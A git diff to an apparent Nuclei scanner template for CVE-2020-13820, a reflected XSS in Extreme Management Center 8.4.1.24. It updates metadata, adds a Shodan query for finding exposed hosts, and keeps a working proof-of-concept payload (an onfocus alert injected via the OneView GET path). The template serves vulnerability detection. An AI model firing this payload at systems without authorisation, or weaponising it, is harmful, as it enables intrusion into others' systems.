diff --git a/cves/2020/CVE-2020-13820.yaml b/cves/2020/CVE-2020-13820.yaml index 15d67874ed..d7187b387c 100644 --- a/cves/2020/CVE-2020-13820.yaml +++ b/cves/2020/CVE-2020-13820.yaml @@ -3,23 +3,26 @@ info: name: Extreme Management Center 8.4.1.24 XSS author: tess severity: medium - description: Extreme Management Center 8.4.1.24 allows unauthenticated reflected xss + description: Extreme Management Center 8.4.1.24 allows unauthenticated reflected XSS via a parameter in a GET request. reference: - - https://nvd.nist.gov/vuln/detail/CVE-2020-13820 - https://medium.com/@0x00crash/xss-reflected-in-extreme-management-center-8-4-1-24-cve-2020-13820-c6febe951219 - https://gtacknowledge.extremenetworks.com/articles/Solution/000051136 - metadata: - verified: true + - https://nvd.nist.gov/vuln/detail/CVE-2020-13820 + - https://cve.mitre.org/cgi-bin/cvename.cgi?name=2020-13820 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2020-13820 cwe-id: CWE-79 - tags: cve,cve2020,xss + metadata: + verified: true + shodan-query: title:"Extreme Management Center" + tags: cve,cve2020,xss,extreme + requests: - method: GET path: - - '{{BaseURL}}//OneView/view/center?a%27+type%3d+%27text%27+autofocus+onfocus%3d%27alert(document.domain)' + - "{{BaseURL}}//OneView/view/center?a%27+type%3d+%27text%27+autofocus+onfocus%3d%27alert(document.domain)" matchers-condition: and matchers: @@ -27,6 +30,7 @@ requests: part: body words: - "autofocus onfocus='alert(document.domain)" + - "Extreme Management Center" condition: and - type: status